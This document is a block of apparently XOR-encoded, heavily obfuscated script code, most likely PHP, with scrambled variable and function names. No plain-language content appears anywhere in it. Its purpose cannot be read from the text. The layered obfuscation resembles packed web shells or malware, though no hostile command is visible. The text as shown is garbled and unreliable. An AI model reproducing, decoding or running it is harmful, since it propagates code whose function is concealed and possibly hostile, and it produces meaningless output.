OV^W^NNGGGGGGFZZGGGGGGGGG8Q TOV^W_NOCWUQKGG	QU 
OVR^RNNGGGGGFZZGGGGGGGGG	QU 
OV^W_NOCWUQKG8Q TOV^VWNNGFZZGGGGGGN\mGGmGGGGG		GGPUPRQOCWUQNmGGmHHG07G%$	]G		J	 GJ	mmmmGGGGOF
	V		Q__OCWUQNNGGGGGG	GG\mGGGGOS
	RTOCWUQNNG	GGG\mGGO^8UVUVOV_TPNOWW RUOV^VVNKGCWUQKGGGGGGCUUTVVNNGGGGmHHG07GQIQGG		 G	GmmGGGGGOCUUTVV<V:GGGGCTWRV^T8NGGmGGGGGGO	8
OCTWRV^T8KGG^8
U_U
ONKGGG@[@NNGGGG	GG\mGm	G\mGmGGGGG	GG\CWWPRRZTPLR_\CPQ RPQZCWWPRRJTW\mmmmGGmGGG		GGGRWPT^QQ_	OC
8SP_NmGGGGGmGGOF'WW RUOVP_TNOC
8SP_NGGGF'	QU 
OVQPVNOC
8SP_NNGG	\mGGGC^R_PGZG'^8UVUVOVPRVNOC
8SP_N\mGGGGGOFC^R_PNGGG	\mGGOC^R_PGGGGYGOVWS_RPWTLRPNNGmGC	
TTGZG'	QU 
OVP_RNOC
8SP_KGGKGG	KGGWKGGGGOQRSRRL_VNN\mGGGOF
	V		Q__OC	
TTNNGGGG	\mGGGGGGO^PTUPW	Q_OC
8SP_NGZZZGGGNGGGGGmWS	V VQPO	QU 
OV^VUNKGG	QU 
OV^VTNGGGGGGIGWW RUOV_^UNOC
8SP_NN\m	\mmmmGmGGGG'^8UVUVOV^VSNOC
8SP_KGGE[X;	EN\mGGGGGGGOWW RUOV^VRNO8Q TOV_PTNNNG'8	OC
8SP_KGGN\mG	\mmGOC^R_PGYGGOVWS_S^PLP^NNGmGGGC_^QPP	GGGZGO	 NG'	QU 
OVP_RNOC
8SP_KGGKG	KGGGWKGGGO_VWWL^UNN\mmmmC 
RR_ GZGGGGOC^R_PGGYGGGO_VP^LVTNNGGGGXGO	 NGGGGG'WW RUOVP_RNOC
8SP_KGGGKGG	KGGGGGGC^R_PGGGGJGGGO_VQ^LUTNNGGG]GEE\mGCR_  QGGZGGC_^QPP	GGGGGIGC 
RR_ \mGGOCR_  QGGFZZGGGEEGGAAGG8Q TOV_TPNOWW RUOV^VVNKGGGCR_  QKGGC	^P8UUNNGGGGmmmCSW	 S 8GZGG\mGGGGGGGOC	^P8UU<V:GGGGGCTTUPNGGGGGGmHHG(	44+GTGG
	G	mmGGGGGO	8
OCTTUPKG^8
U_U
ONKG@[@NNGGmGGGCSW	 S 8GGGZG\mGGGGGGG\mGmmmmGGGGGGGGGGOFCSW	 S 8NGGGG	\mGmGGGGGGmGCWUQGZGG'8Q TOV^VQNOC
8SP_N\mmmGO8Q TOV^WUNOCWUQNGGAAGGGG^8UVUVOV^VPNOCWUQNGYGOWPRLW_WSNNGGCWUQGZGGGG8 	  OCWUQN\mmGGGGGGGGGOF	QU 
OV^WUNOCWUQNNGGGGG	\mGGGGOFPUPRQOCWUQNNGGG	\mGG
_
OC
8SP_KGCWUQN\mGGGmG		GG
_
OC
8SP_KGGCWUQNmmC
GGGGGZGGG^8UVUVOVQSVNO	QU 
OV^V_NKGGEEKGGGGGGCWUQN\mmmmGGGGGGGOF8Q TOV^V^NOC
NGGGGGGGWW RUOVPQTNOC
NGGZZZGEEGGGGGWW RUOVPQTNOC
NGGGGGZZZGGGGGWW RUOVPS_NNGC
GGGGZGGGGE[X;	E\mGGO8Q TOV^VPNOC
NGGGYZGOS^_LUNGAAGFW^RTOC
NNGGC
GGGZGGGGGE[X;	E\mGGGCR8
UQGGGZGGGGG'
OC
8SP_N\mGCR8
UQGZGGGOCR8
UQGGZZZGGGGNGGXGGGOQ^_JUP_NGG]GGGOCR8
UQGGAGOSRPLRSNN\mGCTS _QGZG'8Q TOVQR_NOC
8SP_N\mmmGGGGGGC8W UPTGGZG'WW RUOUSNOWW RUOVTVUNOC
8SP_NKGWW RUOV^UWNN\mmGGGGGGGGGGGOC8W UPTGZZZGNGG	\mGGGGGO'WW RUOV^VSNOC8W UPTKGC
NGGGFZZGG8Q TOV^VPNOC
NNGGGmG'WW RUOPRQNOC8W UPTN\mG	\mGGmHHG'
Gmm'8Q TOVPNOC8W UPTKGGCR8
UQN\mGOF'8Q TOV^UVNOC8W UPTKGC
8SP_NNGmG'WW RUOPRQNOC8W UPTN\mGGGGGGGG	\mmGGGGOCTS _QNG'8Q TOV^NOC
8SP_KGGGGCTS _QN\mGGGGGO^8UVUVOV^VRNO^8UVUVOV_PTNNNG'8	OC
8SP_KGGGGN\mGGmGGGGG		G_SP
POC
^_UWNmGGGGmGGGGGOF8Q TOV^UUNOC
^_UWNNGGGG	GEE\mGGGGGGGO8Q TOV^UTNOWW RUOV^USNKGC
^_UWKGC	WRP8NNGGGCWTPQ
8ZV^V_W\C ^V8ZCWTPQ
89UUU\mC
TPSP	QGZGGGGGC	WRP8<V:\mmmGGGGC^R_PGGGZGG'^8UVUVOV^URNOC
TPSP	QNGGGXGGG'8Q TOVPRVNOC
TPSP	QNG]GW\mmmmGGGGOFC^R_PGGGC^R_PGG[GGOSSPLRTNGGGGGGC^R_PGGYGGO__R_U^SRJTQVRSVSRNNGGGmGGGGGGOC^R_PGGGGGYGOSWQUURQ_LVV_WQUTUNNGGGGmGC^WP8GGGGGZGGGG'^8UVUVOVP_WNOC
TPSP	QN\mGOF8Q TOV^UUNOC^WP8NNGGC^WP8GGZGGGC
TPSP	Q\mGGGGGC^WP8GGZGGGG	QU 
OV^UQNO@;;@KGGGG@H@KGC^WP8N\mmmmGGCUQTT	S^GZGGG\mmmGCQ
_GGGGGZGGO	OWW RUOV_TVNNGXGG^8UVUVOV^UPNO&%47&3/KG	QU 
OVS^WNNGG]GGGGGEEKGGG	O^8UVUVOV^U_NNGGGGGXG8Q TOV^UPNO078$()3")38#.5KGGG	QU 
OV^U^NNGG]GGGEEN\mmGGGGGGGOCQ
_GGGGCT^RNGGGmGCT^RGZGGGGG^8UVUVOV^UQNO@;;@KG@H@KGGGGGCT^RN\mGGGOCT^RGFZZGGEEGAAGGG	QU 
OV^TWNOC^WP8KGGGCT^RGGGIGG@H@NGGGGZZZGWNGmmCUQTT	S^GZGG\mG\mGGmHHG07G5"43G&7.GU]G	G	mmGmGGGGOCUQTT	S^GAAGGG^PTUPW	Q_OC
TPSP	QNGGGFZZGGGGNGGmHHG*46+G-4()GGGmCWQ ^WWZVUTSS\CR8UVP8ZCWQ ^WW9V_^\mGGG'	QU 
OPRQNOC
TPSP	QN\mGGGG'WW RUOPRQNO8Q TOVTVUNOC
TPSP	QNGIGGGGGG^8UVUVOV^QNGGGIGWW RUOV^TVNOC
TPSP	QKG8Q TOVQPTNNN\mmGGGGGGGmGWS	V VQPO8Q TOV^TUNKGGGGG	QU 
OV^TTNGGIGGWW RUOV^TVNOC
TPSP	QNN\mGGGmGGGmGG	GGGGEE\mGGmGmmmGGG	GGGC
^_UW\mGGGmGGGG		GG	QWSP
_ONmGmGGGC
TPSP	QGZGG	\CSUVP
ZOW^LWVN\C	8SPW^^
ZCSUVP
BT\mGGGGOC
TPSP	QGGGGZZZG	NGGmGGC	WTVT ^GGZGG

UU
SUVON\mC
TPSP	QGGZGGO^8UVUVOV^TSNOC	WTVT ^NGGGGGAAGOC	WTVT ^<8Q TOQU_N:NGGAAGG	QU 
OV^TWNOO	 NGGGC	WTVT ^<	QU 
OQU_N:KG^8UVUVOV^TRNNGGZZZGGWN\mGGm	GGGC
TPSP	Q\mmGGGG		GGG^Q_VSR ONmGGGmGGOF	O	QU 
OV_TVNNNG	\mGGC	S^RWGGGGZGGGGGG&%47&3/GGIGGGWW RUOV^TQN\mGGGGGOF'WW RUOV^URNOC	S^RWNNGGmGGCWVUGGGGGZGG	QU 
OV^TPNO&%47&3/NGIG^8UVUVOVTVVN\mGGGO'^8UVUVOV^T_NOCWVUNNGC	S^RWGGZGCWVU\mGmGGGGGGGGOF'8Q TOV^T^NOC	S^RWNGGGF'WW RUOVQPVNOC	S^RWNNGG	\mGGGC^WP8GZGGG'^8UVUVOVP_WNOC	S^RWN\mGGGGO8Q TOV^UUNOC^WP8NGGAAGGGC^WP8GGGGGFZZGGGGEEGGGGGGAAGG'	QU 
OV^SWNOC^WP8NNGC	S^RWGGGGZGGGGC^WP8\mGGGGGGGGGO'^8UVUVOVPRVNOC	S^RWNGGYGGOSV^SU_SLUWNNGGGGG	\mGCWUQGZGGGGGG'8Q TOV^SVNOC	S^RWN\mGGGOF8Q TOV^UUNOCWUQNGGGGGCWUQGZZZGGEENG	\mmmGGGC
_W^GGZGGO	QU 
OV^TWNOCWUQKGGGGGG	QU 
OV^SUNNGGFZZGGGGGGGGGGGWW RUOV^TWNOCWUQKG^8UVUVOV^STNNGGGGFZZGGGGGGN\mGGCRSGGZGGGGG\CV^Z_RTS\C P^
	WZCV^BU\mGGGGO^8UVUVOV^SSNOCWUQKGG^8UVUVOV^SRNNGGZZZGGGNGGGGmmmmGGGGGGGGGGGOF
OC +(%&+4<^8UVUVOV^SQN:NNGmCRSGGGGZG\mGGGGGGGGGGGGmGGGGC^ VWSS_VGGGZG^8UVUVOV^SPNO	QU 
OVVSNNGXG8Q TOVVSNONGGGG]GG8Q TOUQN\mGGOF'WW RUOVT^VNOC^ VWSS_VNGGGF'8Q TOV^SWNOC^ VWSS_VNNGCRSGGZGGGGGG\mmmmmGGGmGGGGC_	T
8 ^GGGGZG\mGGGGGGC8RPU^GGGGZGGGGG\mmmmGGGGGGGGOF^8UVUVOV^UTNO^8UVUVOV^S_NKGCWUQNGGGGAAGGG	O8Q TOV^S^NNNGGmGGGGGC8GGGGGZG078$()3")38#.5GGGGIG8Q TOV^RWN\mGO'WW RUOV^T^NOC8NNGGGGGGmGCQSGGGZGGGGO	 NGG'WW RUOV^RVNOC8KGGKGGGG	KGGWKGGOUT^SLVPWUNN\mmmGGGOWW RUOV^RUNOCQSKGGGGGWW RUOV^RTNNGGGFZZGGNGGGGC_	T
8 ^GZGGG\mmGGGGGGGGOmGGGG8Q TOV^RSNOCWUQKGGWW RUORPWNNGGZZZGGmGAAGGWW RUOV^UTNO	QU 
OV^RRNKGGCWUQNmGGGGGGNGmGGC8RPU^GZG\mGGGGGGmmmGCURSGZGGGG\mGGGGO	QWSP
_ONNGGGC_RS	SSZUUV_\CWUP_ ZC_RS	SSBP\mGGGOmGGF^8UVUVOV^RQNO8Q TOV^RPNKGCWUQNmGF^8UVUVOV^RQNO8Q TOV^R_NKGGGGGCWUQNmGGGGGFWW RUOV^RQNO8Q TOV^R^NKGGGGCWUQNmNGCURSGGGGGZGG\mGGGGGGmmmGGGOFC
_W^GGAAGGGFCRSGGAAGGFC_	T
8 ^GAAGGFCURSGGAAGFC8RPU^NGG	\CPRZ_LQ^\C
8

	 VVZCPRJ^\mCRQGGGGGGZGGEE\mmmGGGGC
GZGGCWUQ\mGGGOC
_W^NGGmmmmGOWW RUOV^QWNOWW RUOV^QVNKGCWUQKGGCUU_PP

Q NNGGGCRQGGGGIZG^8UVUVOTPWNOE;	EKGGCUU_PP

Q <W:N\mGC
GGZGGGGGWW RUOVQSVNO	QU 
OV^QUNKGGEEKGGGGCWUQN\mmmGGGGGGGGOFWW RUOV^UUNOC
NNGGG	\mGGGO^8UVUVOV^QWNO8Q TOV^QTNKGC
KGGCV 
8SPNNGCRQGGGIZGE;	EGIGG	QU 
OV^QSNOE;	EKGGCV 
8SP<W:N\mGC
GZGGG^8UVUVOV^QRNO	QU 
OV^QQNKGGEEKGGGGGGC
N\mGGGGOF^8UVUVOV^QPNOC
NNGGG	\mGGGGmGGOCRSGGGGGGAAG	QU 
OV^RQNO	QU 
OV^Q_NKGGC
NNGmmGGC
GGGGGZG8Q TOV^QRNO8Q TOV^Q^NKGWW RUOV^PWNGGGGGIGE	OG@0783"*78#.5@KGOG	OG@078$()3")38#.5@GNGXG078$()3")38#.5G]G&%47&3/GIG@J		@GNGIG@HI8
@GN\;	EKGC
KGVN\mGGGOFWW RUOV^QPNOC
NNGGGGG	\mmmGGGGGmGGGGOC_	T
8 ^GGAAGGGGG	QU 
OV^PVNO8Q TOV^Q_NKGGGGGC
NNGmC
GGGZGGGGG8Q TOV^QRNOWW RUOV^PUNKGGGGG^8UVUVOV^PWNGGGGGIGGGE	OG@078$&$/"@KGGN\GHMG4$80$GMH;	EKGGGGGC
KGGGGGVN\mGGGGOFWW RUOV^PTNOC
NNGG	\mGGGGGGGGGOC8RPU^NGGGmGC
GGGZGGG^8UVUVOV^QRNOWW RUOV^PSNKGGGG^8UVUVOV^PWNGGIGE	OG@078$&$/"@KGGN\GHMG4$80$GMH;	EKGGGC
KGVN\mGGGGGGGGGOF	QU 
OV^PRNOC
NNGGGG	\mGGGmGGOCURSNGGmGGGGGGGC
GGGGZG8Q TOV^PQNO	QU 
OV^PPNKGEEKGGC
N\mmGGGGOF^8UVUVOV^P_NOC
NNGGG	\mGGGGGGO	QU 
OV^PVNO	QU 
OV^PUNKGC
NNGC	ZJ_^W\CP8RZOC	YWNXC	]JC	\mGGGGGGGC
GZGGWW RUOV^PQNO	QU 
OV^PUNKGGGG8Q TOV^PWNGIGGE	OG@078#"%2 @KGGN\;		OG@078#"%2 8+( @KGGN\;		OG@078#"%2 8#.47+&>@KGGN\;	EKGGC
KGVN\mGGGGGOF	QU 
OV^P^NOC
NNG	\mGGGGGmmGGGGmGGGOC
GZZZGGCWUQNG	\mGGGGGGGOFW^RTOC
NNGGGGG	\mGGGOC_	T
8 ^GAAGGFUQUP8T^OC	S^RWKGGCWUQNNGmGGWS	V VQPO	QU 
OV^_WNKG	QU 
OVRQVNN\mGGGC
GGZGWW RUOV^_VNO^8UVUVOV^_UNKGWW RUOV^_TNKGGC
KGGGVN\mGGOF	QU 
OV^P^NOC
NGGGGGGGC
GZZZGGCWUQNGGG	\mmmGGGOFW^RTOC
NNGGG	\mGGmmGGGGGCR8
UQGGZGG'
OC	S^RWN\mCR8
UQGZGOCR8
UQGGGGZZZGGGGGGNGGGGXGGOSWTLVPNG]GGGOCR8
UQGGGGAGGGO_SPJTTQNN\mGGCTS _QGGGZGG'WW RUOVQR_NOC	S^RWN\mGGGGGC8W UPTGGGZGG'WW RUOV^_SNOWW RUOV^TPNOC	S^RWNKGGGWW RUOV^_RNN\mmmGGGGGGGGGOC8W UPTGZZZGGNGGG	\mGGGGGGO'WW RUOV^VSNOC8W UPTKGC
NGGFZZGGG^8UVUVOV^VPNOC
NNGGGGC
_Z7/78.)38*&?H7/78.)38*&?\C
S^^ZC
_LV\m'^8UVUVOPRQNOC8W UPTN\mGGGG	\mGGGGGGGGm'8Q TOVPNOC8W UPTKGGGCR8
UQN\mGGGGGGGOF'WW RUOV^_QNOC8W UPTKGGGC	S^RWNNGGmGGGGG'8Q TOPRQNOC8W UPTN\mGG	\mmGGOCTS _QNGG'WW RUOV^NOC	S^RWKGGGGGCTS _QN\mGGGGGGGO	QU 
OV^SPNO8Q TOV_PTNNNG'8	OC	S^RWKGN\mGGGGGGGOWW RUOV^QWNO^8UVUVOV^_PNKGCRQKGC8	Q^NNGmmmmGO8Q TOVU_QNOC8	Q^<V:NGGGC_NGmGGGOWW RUOV^__NOC_KGWW RUOV^_^NNGZZZGGGGGWGAAGGG'8Q TOV^T^NOC_NNGG'	QU 
OPRQNOC_N\mmmGGGGmGGGGGOWW RUOV^SPNOWW RUO_^TNNGGAAGGGG8Q TOV^QWNO^8UVUVOV^^WNKGGGCRQKGGGGCS 8 NNGGmmmGGGGGGGO^8UVUVOVU_QNOCS 8 <V:NGGGCWTV
NGGGmGGGGGOWW RUOV^PVNOWW RUOV^^VNKGCWTV
NNGGGGG'8	OCWTV
N\mGmGGGGGGmGGmmG		GGG	_
VQVP	ONmmGGGGmmGGGGGGGGGOF	O^8UVUVOV^S^NNNGGG	\mCV GGGGGGZGG	O	QU 
OV^^UNNGGGGXGG07*287+2 .)8#.5GGGGG]GGG078$()3")38#.5GGGGGIGG8Q TOVRN\mGCSWQGGZGGGON\mGGGGO8Q TOV^SPNO^8UVUVO_SQNNNGGGmmmGGGGGGO'	QU 
OVT^VNOCV NNGGGGOONGG'	QU 
OV^^TNOCV GIGWW RUOV^^SNNGGGGGGCW88R
UNGGCSWQ<:GGGGGZGGGCW88R
U\mGGGGGO	O	QU 
O_UUNNGGAAGG'8Q TOVT^VNO0787+2 .)8#.5NNGGGGGGGOONGGG'WW RUOV^^TNO0787+2 .)8#.5GIGGWW RUOS_QNNGGGGGGGCW88R
UNGGGGGCSWQ<:GGZGGGGGCW88R
U\mmmGmCSQUR_
UGZG	O	QU 
OV_TVNNGXG&%47&3/GGG]GEE\mmmmGGCURGGZGG078$()3")38#.5GGGGIG8Q TOSRNGIGGWW RUOV^^RNO^8UVUVOV_TRNOCSQUR_
UGIGGGWW RUOVT_NNKGGWKGGGOVUS9VVQNNGGGGIGGG^8UVUVOS_NGGGIG	QU 
OV^^RNOWW RUOV_TRNOCSQUR_
UGGGIGG^8UVUVOV^^QNNKGGWKGGOUWR9V^PNNGGIGG	QU 
OV^^PN\mGGGGGGGO'8Q TOV^T^NOCURNNGGCSWQ<:GGGZGCUR\mmGGGGGGOCSWQGGGCW88R
UNGGmGGCTS _QGZGG'^8UVUVOVQR_NOCW88R
UN\mGOFCTS _QGGGOCTS _QGGGBGGOVSVVSRJSVVSRNNGFZZGGO^TPP_LSVNNGGmGGGGGCQ_GGGGZGGG'WW RUOVPRVNOCW88R
UN\mGGOFCQ_GGGGGGGCQ_GGG[GGOSQ^LTVNGGGGGCQ_GGYGOWS^WLWUSTUPWNNG		\mGGGGGmGGC^WP8GGGGGZGGGG'WW RUOVP_WNOCW88R
UN\mGCR
 
^GZGGG'WW RUOVP_WNO^RRONN\mGGO	QU 
OV^P^NOC^WP8NGGGGGGAAG	QU 
OV^P^NOCR
 
^NGGGGGAAGGGC^WP8GGGZZZGCR
 
^NGGG		\mGC QWGGGZGGGGG'8Q TOV^RVNOCW88R
UKGGKGG	KGGGWKGOWRLWVTNN\mGOF^8UVUVOV^^_NOC QWNGGGG^8UVUVOV^__NOC QWKGGG^8UVUVOV^VWNNGGZZZGGGNGGG		\mmmGGGGGGGGGGOF^8UVUVOV^PVNO	QU 
OV_WRNKGGGC QWKGGGC	^P8UUNNGGGGGG		\mGOF	8
OC	^P8UU<V:KGGGGG^8
U_U
ONKGG@[@NNGG		\mGGGGGC 	
	 GGGZGG^PTUPW	Q_OCW88R
UN\mmGGGGGGOC 	
	 GZZZGGGGGNGGGGGGmGGGGGWS	V VQPO^8UVUVOV^TUNKGG	QU 
OV^^^NGGGGGIGGGGWW RUOUWWWNOCW88R
UNN\m		\mGGmGGOC 	
	 GZZZGNGmGO	
R
 S	VTOCW88R
UKGGCW88R
UGGGGGGIGGG^8UVUVOUWWVNNNGGGGmHHGGJGG07G"
G%mmmGO	QU 
OUWWUNO8Q TOV_PTNNNGG'8	OCW88R
UKGGGN\mGmHHG
		GmmGGG'8Q TOPRQNO8Q TOUWWTNOCW88R
UNGIG	QU 
OV^QNGGGIGG	QU 
OUWWWNOCW88R
UKGG^8UVUVOV^^PNNN\mGG		\mmGGGGG'8Q TOPRQNOCW88R
UN\mmmG'8Q TOPRQNOWW RUOUWWSNOCW88R
UNGGIGGGGG	QU 
OV^QNGGGGIGG^8UVUVOUWWRNOCW88R
UKGGGWW RUOV^^PNNN\mGGGGGGO	QU 
OUWWUNO^8UVUVOV_PTNNNGGG'8	OCW88R
UKGGGGN\mmGGGGGGG^Q_VSR ON\mGGC	
T ^RGGZGGG078$()3")38#.5GIGWW RUOVUR_N\mGGO'8Q TOVT^VNOC	
T ^RNGGAAG	QU 
OUWWUNO^8UVUVOUWWQNNNGGmmmGGOONGGGG'^8UVUVOUWWQNOC	
T ^RGIG8Q TOUWWPNNGGGC
VQVS^NGmGGGGGGGGGOF'WW RUOV^T^NOC
VQVS^NGGGGGGGF'^8UVUVOV^SWNOC
VQVS^NNGGG		\mC	8
_T	 	GGGZGG'WW RUOUWW_NOC
VQVS^N\mmmGGGGOFC	8
_T	 	GGGGGGC	8
_T	 	GGYGGGGOUW^PWPQLPQNNGGGG		\mGCT_^VP_RGZG'^8UVUVOV^RVNOC
VQVS^N\mGGGOF^8UVUVOUWW^NOCT_^VP_RNNGGGGGG		\mmmmGGGO^8UVUVOV^__NOCT_^VP_RKG8Q TOV^WPNNGGGGZZZGGGGGGGGGAAGG^8UVUVOV^__NOCT_^VP_RKGG^8UVUVOUWVWNNGGGZZZGGGGAAGWW RUOV^__NOCT_^VP_RKG	QU 
OUWVVNNGZZZGGGNG		\mGGGOF	VWOCT_^VP_RNNGGG		\mGCSVRGGGZGGGGGSS^OCT_^VP_RN\mmmmGGGGGO^8UVUVOUWVUNOCSVRNGGGGAAGGCSVRGGGFZZGCT_^VP_RNGGGGmGSS8^

TVOC
VQVS^KGCSVRN\mmGGGGGGGOWW RUOUWWUNO8Q TOV_PTNNNG'8	OC
VQVS^KGGGGN\mGmGGGGGGGmGGGmRWPT^QQ_	O078$()3")38#.5GIGGWW RUOUWVTNN\mRWPT^QQ_	O078$()3")38#.5GGIG	QU 
ORSSNN\mGGO^8UVUVOUWWUNO	QU 
OV_SWNNGAAG8Q TOUWWUNO	QU 
OUWVSNNGAAGG	QU 
OUWVRNOWW RUOUWVQNNNGGmC8	GGGGZGG^U  

VRO&%47&3/GGIGGG	QU 
OVRTPNKGOWVLW^NN\mGCUPSGGGZGGG' 8	OC8	KGGGEEN\mmGGGGO^8UVUVOUWVPNOCUPSNGGGAAGCUPSGGFZZGGGGGEENGGGGmGGGGGCT^
	RGGGGZG	QU 
OVRSSNOCUPSKGGN\mGGGGGGO	QU 
OUWV_NOCT^
	RNGGAAGGGGUV	PROCT^
	RNNG'8	OC8	N\C^	
_UZ^UWU\C^UTZC^	
_UBVR\mmmGGGmGGGGC WSVPGZGGG	QU 
OUWVRNOWW RUOUWV^NNGXGGGU^ _UO8Q TO__PNKGEENG]GGGEE\mGGGGGO	QU 
OUWV_NOC WSVPNGGGAAGGC WSVPGGFZZGGEEGAAGGO^8UVUVOV^VPNOC WSVPNGYGGGGGOVWS_RQQLVWNGGGGO8Q TOUWUWNO	QU 
OUWUVNNGAAGS
WTWROC WSVPNNGGGGGGGS
	RTOC WSVPNNNGGGGGGmGGGGGGGOWW RUOUWUWNO	QU 
OUWUUNNNGG_8U^ P O8Q TOUWUTNKGGGGEEKGGG8Q TOVPVPNN\mGGmGGGGmmGGGGGmGGGGGGG		GGGGG
 RW8TS8STONmGGGmmmGGGGGGGmGGGGGGGGGOF	OWW RUOV_TVNNNG	\mmmmGOF
OC +(%&+4<8Q TOUWUSN:NNGGGGmHHGGG	
mmGGGGC +(%&+4<^8UVUVOUWUSN:GGZGW\C		WZJSVS\CR P^ZOC		WYWNXC		W]JC		W\mmmWS	V VQPOWW RUOUWURNKG^8UVUVOUWUQNN\mGmGGGGGGGOF
OC +(%&+4<WW RUOUWUPN:NNG	\mmmmGC +(%&+4<^8UVUVOUWUPN:GGGGGGZGGG\mGGGGGOFOC8 "3<	QU 
OV_T^N:NGAAG^8UVUVOUWUWNO^8UVUVOUWU_NNGGGGAAG^8UVUVOUWUWNO^8UVUVOV_SQNNNGmGC_T	^UPGZGG' 8	O8Q TOV_PRNKGONN\mCWUVP^GZG\mGGGGGGGGGGGO8Q TOV^TSNOC_T	^UPNNGGmGOF
OC_T	^UP<@@:NGGGAAGGG^8UVUVOVPVRNONGGGJGGGO	NGGC_T	^UP<	QU 
OUWU^N:GGGGGG[GGGGOVPSULR_NNGGCWUVP^GGGGZG\mGGGOFCWUVP^GGGGAAGGGF
OC_T	^UP<	QU 
OUWTWN:NGAAGG8Q TOUWTVNOC_T	^UP<WW RUOUWTWN:NNGGGmGGGGGGGOC_T	^UP<	QU 
OUWTWN:GGGGGGC8NGGGGmGGGO	QU 
OUWTVNOC8NGGGGAAGGWW RUOVPVRNONGGGJGGGGGGO	NGGGC8<	QU 
OUWU^N:GG[GGGGOWLWQUNNGGGmGGGGGCWUVP^GGGZGGGGGG\mGGGGG\mmmmGmGGGmGGGGGGGmmmmGGGGGGGGGOCWUVP^NGWW RUOUWTUNO8Q TOUWTTNN\mmGGGO8
 _R_^O^RRONNNGGGG	\mG	_
VQVP	ON\mGGGGGW
SU	O^RRONKG^8
U_U
ONN\mGGGGGGOFR W
TUONNGGGGGGmGGV^RWON\mmmR	P WVPON\mG	\mGGGGmC	
QRVGGGGZGGGGG
U	TWQQON\mCQ GGZGGOmGG^RRONKmGGGGGC	
QRVGGGIG^8UVUVORSSNKmGGGGGN\mGCS^WGGGGGZGT W 8U8ON\mGGGGGOCS^WGGGGGC_ SUNGGGGmGGGGGGO'WW RUOUWTSNOC_ SUNNGCQ <:GGZGGC_ SU\mGGGGGGmGC8SWRU_PR	GGZGGON\mGORQR8W
PTQSONNGmGCPSWGGZG^U  

VRO&%47&3/GGIGGGG^8UVUVOUWTRNKGOVPU9VQSNNGIGGGGG^8UVUVOUWTQN\mC8SWRU_PR	<WW RUOUWTPNGIGG&%47&3/GGGIG^8UVUVORQSN:GZGGGCPSW\mGC8SWRU_PR	<8Q TOUWT_NGIGC	
QRVGGGIG^8UVUVOVSPUN:GGGGGZGGCPSW\mmGC_S  SW GZGWW RUOUWUWNO^8UVUVOUWT^NNGGXGGG'WW RUOUWT^NOWW RUOUWSWNNGGGGG]GGG\mGGGGO	QU 
OUWV_NOC_S  SW NGAAGGC_S  SW GFZZGEENGGGGGmCWW TGZGGGGGO	NGGG 8	OWW RUOVSQWNKGGWN\mGGGOFCWW TGGGGGGGGGGGWW RUOVPVRNONGGGGJGGGGGGCWW TGGGYZGGGGGOV_R_QLQP_VSNNGmGGCUGZGG^U  

VRO&%47&3/GIGGG^8UVUVOVVWVNKGOWULWQNNGGIG	QU 
OUWSVN\mGC8SWRU_PR	<	QU 
OUWT_NGGGIGWW RUOV^UPNO&%47&3/KG^8UVUVOUWSUNNGIGG@H@GIGGGGGC_S  SW :GZGCU\mC8SWRU_PR	<	QU 
OUWSTNGGGIGC	
QRVGGGIGG@H@GGGGIGC_S  SW :GZGGGGGGCU\mmmmGGmGGGmGC	URR_^GGZGGTR8SQ^PUTTON\mGGGGO'8Q TOUWTSNOC	URR_^<V:NNGGC8SWRU_PR	<^8UVUVOUWSSNGIGGC	URR_^<W::GZGG^8UVUVOUWSRNGGGGIGC	URR_^<U:\mC		PU
WUGGZGGG' 8	OWW RUOUWSQNKGGONN\mGGOF8Q TOUWTVNOC		PU
WUNNGGGGC		PU
WUGZGGGGON\mGC TV
TSGGGZGG\mGGGOCQ GGGGGGC	VRNGGGmGGCT 	GGGGZG'8Q TOUWSPNOC	VRN\mGCQ8
	^GGGGZGGGCT 	GGGXGGOCT 	<	QU 
OUWS_N:GGIGG@@GGIGGGGCT 	<8Q TOUWS^N:NGG]GG@W@\mGCP^^V RGGZGGGGGOC		PU
WU<C	VR:NGGGGXGGGC		PU
WU<C	VR:G]GGGGEE\mmGGGGOCQ8
	^GZZZGGGGGCP^^V RNGGG		\mGGGGGO^8UVUVOV^PVNOWW RUOUWRWNKGGCP^^V RKGCT
T
_NGGAAGG8Q TOUWRVNOCP^^V RKGGGWKGGGGGJ	QU 
OUWRUNOCT
T
_<W:NNGZZZGGGCQ8
	^GGAAGGG8Q TOVPVRNONGGGGJGGO	NGGGCT
T
_<V:G[GOTRUPLPTNNGG		\mmmmGC TV
TSGGGGZGGGG\m\mGGGGGGGGmGGOFC TV
TSNGmGGGGGGGGGOC8SWRU_PR	GGGCGGGGGZYGGCR_VQT 8NGGmGGGGGGGGCQ8
	^GGGGZGGGGT 	_^OWW RUOUWRVNOCKGGOVU_9VTTNNKGGCR_VQT 8N\mmGCP^^V RGZGGGGOC		PU
WU<C:NGXGC		PU
WU<C:GGG]GEE\mGGGGOCQ8
	^GGZZZGGCP^^V RNGG		\mGGGGGGOWW RUOV^PVNO	QU 
OUWRWNKGGCP^^V RKGGGCT
T
_NGGGAAGGGG	QU 
OUWRTNOCP^^V RKGWKGGJ^8UVUVOUWRSNOCT
T
_<W:NNGZZZGCQ8
	^GGAAGGWW RUOVPVRNONGGJGGGO	NGGGCT
T
_<V:GGGGG[GGGOUPPVPLR_Q_TNNG		\mGGC TV
TSGGGZG\m\mmmHHG07G"	G5]GG	mmGGGGCWSVPU8GGZGGGGG	QU 
OUWWRNO^RRONKGWW RUOUWSVNN\mGGC^	U
GZGGGGGC	
QRVGGGIGGGGG^8UVUVOVQPUNGIGGGCWSVPU8GGGIG@H@GGGIGCWSVPU8GGIG^8UVUVOUWSVN\mmCQVGGGGGGZG ^Q
URTON\mmGGGGGOF'WW RUOUWRRNOC^	U
NGGGGGGO	NGG'	QU 
OUWW_NOC^	U
NGGG[GGOS^TVLQ^NNGGC TV
TSGZG\mmGGGGGGOCQVGGGGFZZGEEGGAAGF'^8UVUVOUWRRNOCQVNNGGGC TV
TSGGZGG\mGGGGGGGGGOFC TV
TSGAAGG^8UVUVOUWUWNO	QU 
OUWU_NNNGGGmCVWGZGGCWSVPU8GGGGIG@H@GGIGCWSVPU8GGIGGGG8Q TOUWSVN\mC V
TRGZG 8	O^8UVUVOUWRQNKGGONN\mGGGGOF	QU 
OUWTVNOC V
TRNGGGF	QU 
OVUSPNOCVWKGGGGC V
TRKGNNGGC TV
TSGGGGZG\mmHHG07G%$	]G
	G
JmmGGGGGOFC TV
TSNGGG	\mGGGGGOF^PVWO^8UVUVOUWRPNNNG	\mmGGGGGGmGGGGGGW TRR_QSON\mG8SQT_W^RON\mmmmGGGGR	P WVPON\m T	QTW8ON\mmmV__^RON\mGGGV^RWON\mVON\mGGGGG
